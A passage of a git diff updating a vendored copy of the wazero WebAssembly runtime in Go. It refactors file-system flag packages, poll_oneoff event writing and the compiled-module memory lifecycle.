fsapi.O_RDWR + openFlags |= experimentalsys.O_TRUNC + defaultMode = experimentalsys.O_RDWR } if oflags&wasip1.O_CREAT != 0 { - openFlags |= fsapi.O_CREAT - defaultMode = fsapi.O_RDWR + openFlags |= experimentalsys.O_CREAT + defaultMode = experimentalsys.O_RDWR } if fdflags&wasip1.FD_NONBLOCK != 0 { - openFlags |= fsapi.O_NONBLOCK + openFlags |= experimentalsys.O_NONBLOCK } if fdflags&wasip1.FD_APPEND != 0 { - openFlags |= fsapi.O_APPEND - defaultMode = fsapi.O_RDWR + openFlags |= experimentalsys.O_APPEND + defaultMode = experimentalsys.O_RDWR } if fdflags&wasip1.FD_DSYNC != 0 { - openFlags |= fsapi.O_DSYNC + openFlags |= experimentalsys.O_DSYNC } if fdflags&wasip1.FD_RSYNC != 0 { - openFlags |= fsapi.O_RSYNC + openFlags |= experimentalsys.O_RSYNC } if fdflags&wasip1.FD_SYNC != 0 { - openFlags |= fsapi.O_SYNC + openFlags |= experimentalsys.O_SYNC } // Since rights were discontinued in wasi, we only interpret RIGHT_FD_WRITE @@ -1748,11 +1751,11 @@ func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi const rw = r | w switch { case (rights & rw) == rw: - openFlags |= fsapi.O_RDWR + openFlags |= experimentalsys.O_RDWR case (rights & w) == w: - openFlags |= fsapi.O_WRONLY + openFlags |= experimentalsys.O_WRONLY case (rights & r) == r: - openFlags |= fsapi.O_RDONLY + openFlags |= experimentalsys.O_RDONLY default: openFlags |= defaultMode } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go index aed08b7bea..d09f30245b 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go @@ -6,6 +6,7 @@ import ( "github.com/tetratelabs/wazero/api" "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" internalsys "github.com/tetratelabs/wazero/internal/sys" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" @@ -46,7 +47,6 @@ type event struct { eventType byte userData []byte errno wasip1.Errno - outOffset uint32 } func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { @@ -90,16 +90,16 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno var blockingStdinSubs []*event // The timeout is initialized at max Duration, the loop will find the minimum. var timeout time.Duration = 1<<63 - 1 - // Count of all the clock subscribers that have been already written back to outBuf. - clockEvents := uint32(0) - // Count of all the non-clock subscribers that have been already written back to outBuf. - readySubs := uint32(0) + // Count of all the subscriptions that have been already written back to outBuf. + // nevents*32 returns at all times the offset where the next event should be written: + // this way we ensure that there are no gaps between records. + nevents := uint32(0) // Layout is subscription_u: Union // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#subscription_u for i := uint32(0); i < nsubscriptions; i++ { inOffset := i * 48 - outOffset := i * 32 + outOffset := nevents * 32 eventType := inBuf[inOffset+8] // +8 past userdata // +8 past userdata +8 contents_offset @@ -110,12 +110,10 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno eventType: eventType, userData: userData, errno: wasip1.ErrnoSuccess, - outOffset: outOffset, } switch eventType { case wasip1.EventTypeClock: // handle later - clockEvents++ newTimeout, err := processClockEvent(argBuf) if err != 0 { return err @@ -125,7 +123,8 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno timeout = newTimeout } // Ack the clock event to the outBuf. - writeEvent(outBuf, evt) + writeEvent(outBuf[outOffset:], evt) + nevents++ case wasip1.EventTypeFdRead: fd := int32(le.Uint32(argBuf)) if fd < 0 { @@ -133,16 +132,15 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno } if file, ok := fsc.LookupFile(fd); !ok { evt.errno = wasip1.ErrnoBadf - writeEvent(outBuf, evt) - readySubs++ - continue - } else if fd == internalsys.FdStdin && !file.File.IsNonblock() { - // if the fd is Stdin, and it is in non-blocking mode, + writeEvent(outBuf[outOffset:], evt) + nevents++ + } else if fd != internalsys.FdStdin && file.File.IsNonblock() { + writeEvent(outBuf[outOffset:], evt) + nevents++ + } else { + // if the fd is Stdin, and it is in blocking mode, // do not ack yet, append to a slice for delayed evaluation. blockingStdinSubs = append(blockingStdinSubs, evt) - } else { - writeEvent(outBuf, evt) - readySubs++ } case wasip1.EventTypeFdWrite: fd := int32(le.Uint32(argBuf)) @@ -154,47 +152,46 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno } else { evt.errno = wasip1.ErrnoBadf } - readySubs++ - writeEvent(outBuf, evt) + nevents++ + writeEvent(outBuf[outOffset:], evt) default: return sys.EINVAL } } - // If there are subscribers with data ready, we have already written them to outBuf, - // and we don't need to wait for the timeout: clear it. - if readySubs != 0 { - timeout = 0 + sysCtx := mod.(*wasm.ModuleInstance).Sys + if nevents == nsubscriptions { + // We already wrote back all the results. We already wrote this number + // earlier to offset `resultNevents`. + // We only need to observe the timeout (nonzero if there are clock subscriptions) + // and return. + if timeout > 0 { + sysCtx.Nanosleep(int64(timeout)) + } + return 0 } // If there are blocking stdin subscribers, check for data with given timeout. - if len(blockingStdinSubs) > 0 { - stdin, ok := fsc.LookupFile(internalsys.FdStdin) - if !ok { - return sys.EBADF - } - // Wait for the timeout to expire, or for some data to become available on Stdin. - stdinReady, errno := stdin.File.PollRead(&timeout) - if errno != 0 { - return errno - } - if stdinReady { - // stdin has data ready to for reading, write back all the events - for i := range blockingStdinSubs { - readySubs++ - evt := blockingStdinSubs[i] - evt.errno = 0 - writeEvent(outBuf, evt) - } + stdin, ok := fsc.LookupFile(internalsys.FdStdin) + if !ok { + return sys.EBADF + } + // Wait for the timeout to expire, or for some data to become available on Stdin. + + if stdinReady, errno := stdin.File.Poll(fsapi.POLLIN, int32(timeout.Milliseconds())); errno != 0 { + return errno + } else if stdinReady { + // stdin has data ready to for reading, write back all the events + for i := range blockingStdinSubs { + evt := blockingStdinSubs[i] + evt.errno = 0 + writeEvent(outBuf[nevents*32:], evt) + nevents++ } - } else { - // No subscribers, just wait for the given timeout. - sysCtx := mod.(*wasm.ModuleInstance).Sys - sysCtx.Nanosleep(int64(timeout)) } - if readySubs != nsubscriptions { - if !mod.Memory().WriteUint32Le(resultNevents, readySubs+clockEvents) { + if nevents != nsubscriptions { + if !mod.Memory().WriteUint32Le(resultNevents, nevents) { return sys.EFAULT } } @@ -234,9 +231,9 @@ func processClockEvent(inBuf []byte) (time.Duration, sys.Errno) { // writeEvent writes the event corresponding to the processed subscription. // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-event-struct func writeEvent(outBuf []byte, evt *event) { - copy(outBuf[evt.outOffset:], evt.userData) // userdata - outBuf[evt.outOffset+8] = byte(evt.errno) // uint16, but safe as < 255 - outBuf[evt.outOffset+9] = 0 - le.PutUint32(outBuf[evt.outOffset+10:], uint32(evt.eventType)) + copy(outBuf, evt.userData) // userdata + outBuf[8] = byte(evt.errno) // uint16, but safe as < 255 + outBuf[9] = 0 + le.PutUint32(outBuf[10:], uint32(evt.eventType)) // TODO: When FD events are supported, write outOffset+16 } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go index a3c20ad586..756c0d3913 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go @@ -2,7 +2,6 @@ package wasi_snapshot_preview1 import ( "context" - "syscall" "github.com/tetratelabs/wazero/api" "github.com/tetratelabs/wazero/experimental/sys" @@ -175,11 +174,11 @@ func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) sys.Errn switch how { case wasip1.SD_RD | wasip1.SD_WR: - sysHow = syscall.SHUT_RD | syscall.SHUT_WR + sysHow = socketapi.SHUT_RD | socketapi.SHUT_WR case wasip1.SD_RD: - sysHow = syscall.SHUT_RD + sysHow = socketapi.SHUT_RD case wasip1.SD_WR: - sysHow = syscall.SHUT_WR + sysHow = socketapi.SHUT_WR default: return sys.EINVAL } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go index a4a220596b..6c52cc4bcd 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go @@ -29,8 +29,10 @@ func main() { } case "sock": // TODO: undefined: net.FileListener + // See https://github.com/tinygo-org/tinygo/pull/2748 case "nonblock": // TODO: undefined: syscall.SetNonblock + // See https://github.com/tinygo-org/tinygo/issues/3840 } } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go index ca07a716d2..86abce4a51 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go @@ -48,6 +48,10 @@ type ( // as the underlying memory region is accessed by assembly directly by using // codesElement0Address. functions []function + + // Keep a reference to the compiled module to prevent the GC from reclaiming + // it while the code may still be needed. + module *compiledModule } // callEngine holds context per moduleEngine.Call, and shared across all the @@ -130,11 +134,13 @@ type ( // initialFn is the initial function for this call engine. initialFn *function + // Keep a reference to the compiled module to prevent the GC from reclaiming + // it while the code may still be needed. + module *compiledModule + // stackIterator provides a way to iterate over the stack for Listeners. // It is setup and valid only during a call to a Listener hook. stackIterator stackIterator - - ensureTermination bool } // moduleContext holds the per-function call specific module information. @@ -264,12 +270,27 @@ type ( } compiledModule struct { - executable asm.CodeSegment - functions []compiledFunction - source *wasm.Module + // The data that need to be accessed by compiledFunction.parent are + // separated in an embedded field because we use finalizers to manage + // the lifecycle of compiledModule instances and having cyclic pointers + // prevents the Go runtime from calling them, which results in memory + // leaks since the memory mapped code segments cannot be released. + // + // The indirection guarantees that the finalizer set on compiledModule + // instances can run when all references are gone, and the Go GC can + // manage to reclaim the compiledCode when all compiledFunction objects + // referencing it have been freed. + *compiledCode + functions []compiledFunction + ensureTermination bool } + compiledCode struct { + source *wasm.Module + executable asm.CodeSegment + } + // compiledFunction corresponds to a function in a module (not instantiated one). This holds the machine code // compiled by wazero compiler. compiledFunction struct { @@ -282,7 +303,7 @@ type ( index wasm.Index goFunc interface{} listener experimental.FunctionListener - parent *compiledModule + parent *compiledCode sourceOffsetMap sourceOffsetMap } @@ -496,13 +517,6 @@ func (e *engine) Close() (err error) { e.mux.Lock() defer e.mux.Unlock() // Releasing the references to compiled codes including the memory-mapped machine codes. - - for i := range e.codes { - for j := range e.codes[i].functions { - e.codes[i].functions[j].parent = nil - } - } - e.codes = nil return } @@ -523,9 +537,11 @@ func (e *engine) CompileModule(_ context.Context, module *wasm.Module, listeners var withGoFunc bool localFuncs, importedFuncs := len(module.FunctionSection), module.ImportFunctionCount cm := &compiledModule{ + compiledCode: &compiledCode{ + source: module, + }, functions: make([]compiledFunction, localFuncs), ensureTermination: ensureTermination, - source: module, } if localFuncs == 0 { @@ -559,7 +575,7 @@ func (e *engine) CompileModule(_ context.Context, module *wasm.Module, listeners funcIndex := wasm.Index(i) compiledFn := &cm.functions[i] compiledFn.executableOffset = executable.Size() - compiledFn.parent = cm + compiledFn.parent = cm.compiledCode compiledFn.index = importedFuncs + funcIndex if i < ln { compiledFn.listener = listeners[i] @@ -628,6 +644,8 @@ func (e *engine) NewModuleEngine(module *wasm.Module, instance *wasm.ModuleInsta parent: c, } } + + me.module = cm return me, nil } @@ -720,7 +738,7 @@ func (ce *callEngine) CallWithStack(ctx context.Context, stack []uint64) error { func (ce *callEngine) call(ctx context.Context, params, results []uint64) (_ []uint64, err error) { m := ce.initialFn.moduleInstance - if ce.ensureTermination { + if ce.module.ensureTermination { select { case <-ctx.Done(): // If the provided context is already done, close the call context @@ -741,12 +759,14 @@ func (ce *callEngine) call(ctx context.Context, params, results []uint64) (_ []u // If the module closed during the call, and the call didn't err for another reason, set an ExitError. err = m.FailIfClosed() } + // Ensure that the compiled module will never be GC'd before this method returns. + runtime.KeepAlive(ce.module) }() ft := ce.initialFn.funcType ce.initializeStack(ft, params) - if ce.ensureTermination { + if ce.module.ensureTermination { done := m.CloseModuleOnCanceledOrTimeout(ctx) defer done() } @@ -959,11 +979,11 @@ var initialStackSize uint64 = 512 func (e *moduleEngine) newCallEngine(stackSize uint64, fn *function) *callEngine { ce := &callEngine{ - stack: make([]uint64, stackSize), - archContext: newArchContext(), - initialFn: fn, - moduleContext: moduleContext{fn: fn}, - ensureTermination: fn.parent.parent.ensureTermination, + stack: make([]uint64, stackSize), + archContext: newArchContext(), + initialFn: fn, + moduleContext: moduleContext{fn: fn}, + module: e.module, } stackHeader := (*reflect.SliceHeader)(unsafe.Pointer(&ce.stack)) diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go index e6b3b0e914..37e481bdb6 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go @@ -17,6 +17,7 @@ import ( func (e *engine) deleteCompiledModule(module *wasm.Module) { e.mux.Lock() defer e.mux.Unlock() + delete(e.codes, module.ID) // Note: we do not call e.Cache.Delete, as the lifetime of @@ -158,14 +159,18 @@ func deserializeCompiledModule(wazeroVersion string, reader io.ReadCloser, modul ensureTermination := header[cachedVersionEnd] != 0 functionsNum := binary.LittleEndian.Uint32(header[len(header)-4:]) - cm = &compiledModule{functions: make([]compiledFunction, functionsNum), ensureTermination: ensureTermination} + cm = &compiledModule{ + compiledCode: new(compiledCode), + functions: make([]compiledFunction, functionsNum), + ensureTermination: ensureTermination, + } imported := module.ImportFunctionCount var eightBytes [8]byte for i := uint32(0); i < functionsNum; i++ { f := &cm.functions[i] - f.parent = cm + f.parent = cm.compiledCode // Read the stack pointer ceil. if f.stackPointerCeil, err = readUint64(reader, &eightBytes); err != nil { diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go index 2555ae3c6e..7de2b33189 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go @@ -1088,7 +1088,7 @@ func (c *amd64Compiler) compileAdd(o *wazeroir.UnionOperation) error { return err } - x1 := c.locationStack.peek() // Note this is peek, pop! + x1 := c.locationStack.peek() // Note this is peek! if err := c.compileEnsureOnRegister(x1); err != nil { return err } @@ -1125,7 +1125,7 @@ func (c *amd64Compiler) compileSub(o *wazeroir.UnionOperation) error { return err } - x1 := c.locationStack.peek() // Note this is peek, pop! + x1 := c.locationStack.peek() // Note this is peek! if err := c.compileEnsureOnRegister(x1); err != nil { return err } @@ -3499,7 +3499,7 @@ func (c *amd64Compiler) compileStoreImpl(offsetConst uint32, inst asm.Instructio reg, err := c.compileMemoryAccessCeilSetup(offsetConst, targetSizeInBytes) if err != nil { - return nil + return err } c.assembler.CompileRegisterToMemoryWithIndex( diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go index f40d4155a8..0640b22712 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go +++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go @@ -1,77 +1,17 @@ package fsapi -import ( - "syscall" - "time" +import experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" -) - -// File is a writeable fs.File bridge backed by syscall functions needed for ABI -// including WASI and runtime.GOOS=js. -// -// Implementations should embed UnimplementedFile for forward compatability. Any -// unsupported method or parameter should return ENOSYS. -// -// # Errors -// -// All methods that can return an error return a Errno, which is zero -// on success. -// -// Restricting to Errno matches current WebAssembly host functions, -// which are constrained to well-known error codes. For example, `GOOS=js` maps -// hard coded values and panics otherwise. More commonly, WASI maps syscall -// errors to u32 numeric values. +// File includes methods not yet ready to document for end users, notably +// non-blocking functionality. // -// # Notes -// -// - You must call Close to avoid file resource conflicts. For example, -// Windows cannot delete the underlying directory while a handle to it -// remains open. -// - A writable filesystem abstraction is not yet implemented as of Go 1.20. -// See https://github.com/golang/go/issues/45757 +// Particularly, Poll is subject to debate. For example, whether a user should +// be able to choose how to implement timeout or not. Currently, this interface +// allows the user to choose to sleep or use native polling, and which choice +// they make impacts thread behavior as summarized here: +// https://github.com/tetratelabs/wazero/pull/1606#issuecomment-1665475516 type File interface { - // Dev returns the device ID (Stat_t.Dev) of this file, zero if unknown or - // an error retrieving it. - // - // # Errors - // - // Possible errors are those from Stat, except ENOSYS should not - // be returned. Zero should be returned if there is no implementation. - // - // # Notes - // - // - Implementations should cache this result. - // - This combined with Ino can implement os.SameFile. - Dev() (uint64, experimentalsys.Errno) - - // Ino returns the serial number (Stat_t.Ino) of this file, zero if unknown - // or an error retrieving it. - // - // # Errors - // - // Possible errors are those from Stat, except ENOSYS should not - // be returned. Zero should be returned if there is no implementation. - // - // # Notes - // - // - Implementations should cache this result. - // - This combined with Dev can implement os.SameFile. - Ino() (sys.Inode, experimentalsys.Errno) - - // IsDir returns true if this file is a directory or an error there was an - // error retrieving this information. - // - // # Errors - // - // Possible errors are those from Stat, except ENOSYS should not - // be returned. false should be returned if there is no implementation. - // - // # Notes - // - // - Implementations should cache this result. - IsDir() (bool, experimentalsys.Errno) + experimentalsys.File // IsNonblock returns true if the file was opened with O_NONBLOCK, or // SetNonblock was successfully enabled on this file. @@ -96,272 +36,34 @@ type File interface { // POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fcntl.html SetNonblock(enable bool) experimentalsys.Errno - // IsAppend returns true if the file was opened with fsapi.O_APPEND, or - // SetAppend was successfully enabled on this file. - // - // # Notes - // - // - This might not match the underlying state of the file descriptor if - // the file was not opened via OpenFile. - IsAppend() bool - - // SetAppend toggles the append mode (fsapi.O_APPEND) of this file. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may - // have to re-open the underlying file to apply this. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html - SetAppend(enable bool) experimentalsys.Errno - - // Stat is similar to syscall.Fstat. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fstat and `fstatat` with `AT_FDCWD` in POSIX. - // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html - // - A fs.FileInfo backed implementation sets atim, mtim and ctim to the - // same value. - // - Windows allows you to stat a closed directory. - Stat() (sys.Stat_t, experimentalsys.Errno) - - // Read attempts to read all bytes in the file into `buf`, and returns the - // count read even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not readable. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.Reader and `read` in POSIX, preferring semantics of - // io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html - // - Unlike io.Reader, there is no io.EOF returned on end-of-file. To - // read the file completely, the caller must repeat until `n` is zero. - Read(buf []byte) (n int, errno experimentalsys.Errno) - - // Pread attempts to read all bytes in the file into `p`, starting at the - // offset `off`, and returns the count read even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not readable. - // - EINVAL: the offset was negative. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.ReaderAt and `pread` in POSIX, preferring semantics - // of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html - // - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To - // read the file completely, the caller must repeat until `n` is zero. - Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) - - // Seek attempts to set the next offset for Read or Write and returns the - // resulting absolute offset or an error. + // Poll returns if the file has data ready to be read or written. // // # Parameters // - // The `offset` parameters is interpreted in terms of `whence`: - // - io.SeekStart: relative to the start of the file, e.g. offset=0 sets - // the next Read or Write to the beginning of the file. - // - io.SeekCurrent: relative to the current offset, e.g. offset=16 sets - // the next Read or Write 16 bytes past the prior. - // - io.SeekEnd: relative to the end of the file, e.g. offset=-1 sets the - // next Read or Write to the last byte in the file. - // - // # Behavior when a directory - // - // The only supported use case for a directory is seeking to `offset` zero - // (`whence` = io.SeekStart). This should have the same behavior as - // os.File, which resets any internal state used by Readdir. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not readable. - // - EINVAL: the offset was negative. - // - // # Notes - // - // - This is like io.Seeker and `fseek` in POSIX, preferring semantics - // of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html - Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) - - // PollRead returns if the file has data ready to be read or an error. + // The `flag` parameter determines which event to await, such as POLLIN, + // POLLOUT, or a combination like `POLLIN|POLLOUT`. // - // # Parameters + // The `timeoutMillis` parameter is how long to block for an event, or + // interrupted, in milliseconds. There are two special values: + // - zero returns immediately + // - any negative value blocks any amount of time // - // The `timeout` parameter when nil blocks up to forever. + // # Results // - // # Errors + // `ready` means there was data ready to read or written. False can mean no + // event was ready or `errno` is not zero. // - // A zero Errno is success. The below are expected otherwise: + // A zero `errno` is success. The below are expected otherwise: // - ENOSYS: the implementation does not support this function. + // - ENOTSUP: the implementation does not the flag combination. + // - EINTR: the call was interrupted prior to an event. // // # Notes // // - This is like `poll` in POSIX, for a single file. // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/poll.html // - No-op files, such as those which read from /dev/null, should return - // immediately true to avoid hangs (because data will never become - // available). - PollRead(timeout *time.Duration) (ready bool, errno experimentalsys.Errno) - - // Readdir reads the contents of the directory associated with file and - // returns a slice of up to n Dirent values in an arbitrary order. This is - // a stateful function, so subsequent calls return any next values. - // - // If n > 0, Readdir returns at most n entries or an error. - // If n <= 0, Readdir returns all remaining entries or an error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file was closed or not a directory. - // - ENOENT: the directory could not be read (e.g. deleted). - // - // # Notes - // - // - This is like `Readdir` on os.File, but unlike `readdir` in POSIX. - // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html - // - Unlike os.File, there is no io.EOF returned on end-of-directory. To - // read the directory completely, the caller must repeat until the - // count read (`len(dirents)`) is less than `n`. - // - See /RATIONALE.md for design notes. - Readdir(n int) (dirents []Dirent, errno experimentalsys.Errno) - - // Write attempts to write all bytes in `p` to the file, and returns the - // count written even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file was closed, not writeable, or a directory. - // - // # Notes - // - // - This is like io.Writer and `write` in POSIX, preferring semantics of - // io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html - Write(buf []byte) (n int, errno experimentalsys.Errno) - - // Pwrite attempts to write all bytes in `p` to the file at the given - // offset `off`, and returns the count written even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not writeable. - // - EINVAL: the offset was negative. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics - // of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html - Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) - - // Truncate truncates a file to a specified length. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - EINVAL: the `size` is negative. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like syscall.Ftruncate and `ftruncate` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html - // - Windows does not error when calling Truncate on a closed file. - Truncate(size int64) experimentalsys.Errno - - // Sync synchronizes changes to the file. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fsync and `fsync` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html - // - This returns with no error instead of ENOSYS when - // unimplemented. This prevents fake filesystems from erring. - // - Windows does not error when calling Sync on a closed file. - Sync() experimentalsys.Errno - - // Datasync synchronizes the data of a file. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fdatasync and `fdatasync` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html - // - This returns with no error instead of ENOSYS when - // unimplemented. This prevents fake filesystems from erring. - // - As this is commonly missing, some implementations dispatch to Sync. - Datasync() experimentalsys.Errno - - // Utimens set file access and modification times of this file, at - // nanosecond precision. - // - // # Parameters - // - // The `times` parameter includes the access and modification timestamps to - // assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT may be - // specified instead of real timestamps. A nil `times` parameter behaves the - // same as if both were set to UTIME_NOW. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.UtimesNano and `futimens` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html - // - Windows requires files to be open with fsapi.O_RDWR, which means you - // cannot use this to update timestamps on a directory (EPERM). - Utimens(times *[2]syscall.Timespec) experimentalsys.Errno - - // Close closes the underlying file. - // - // A zero Errno is returned if unimplemented or success. - // - // # Notes - // - // - This is like syscall.Close and `close` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html - Close() experimentalsys.Errno + // immediately true, as data will never become available. + // - See /RATIONALE.md for detailed notes including impact of blocking. + Poll(flag Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go new file mode 100644 index 0000000000..25f7c5711b --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go @@ -0,0 +1,20 @@ +package fsapi + +// Pflag are bit flags used for File.Poll. Values, including zero, should not +// be interpreted numerically. Instead, use by constants prefixed with 'POLL'. +// +// # Notes +// +// - This is like `pollfd.events` flags for `poll` in POSIX. See +// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/poll.h.html +type Pflag uint32 + +// Only define bitflags we support and are needed by `poll_oneoff` in wasip1 +// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#eventrwflags +const ( + // POLLIN is a read event. + POLLIN Pflag = 1 << iota + + // POLLOUT is a write event. + POLLOUT +) diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go index b31cbd13f5..99d9c2db34 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go +++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go @@ -1,193 +1,27 @@ package fsapi -import ( - "io/fs" - "syscall" - "time" +import experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" -) - -// UnimplementedFS is an FS that returns ENOSYS for all functions, -// This should be embedded to have forward compatible implementations. -type UnimplementedFS struct{} - -// String implements fmt.Stringer -func (UnimplementedFS) String() string { - return "Unimplemented:/" -} - -// Open implements the same method as documented on fs.FS -func (UnimplementedFS) Open(name string) (fs.File, error) { - return nil, &fs.PathError{Op: "open", Path: name, Err: experimentalsys.ENOSYS} -} - -// OpenFile implements FS.OpenFile -func (UnimplementedFS) OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno) { - return nil, experimentalsys.ENOSYS -} - -// Lstat implements FS.Lstat -func (UnimplementedFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { - return sys.Stat_t{}, experimentalsys.ENOSYS -} - -// Stat implements FS.Stat -func (UnimplementedFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { - return sys.Stat_t{}, experimentalsys.ENOSYS -} - -// Readlink implements FS.Readlink -func (UnimplementedFS) Readlink(path string) (string, experimentalsys.Errno) { - return "", experimentalsys.ENOSYS -} - -// Mkdir implements FS.Mkdir -func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Chmod implements FS.Chmod -func (UnimplementedFS) Chmod(path string, perm 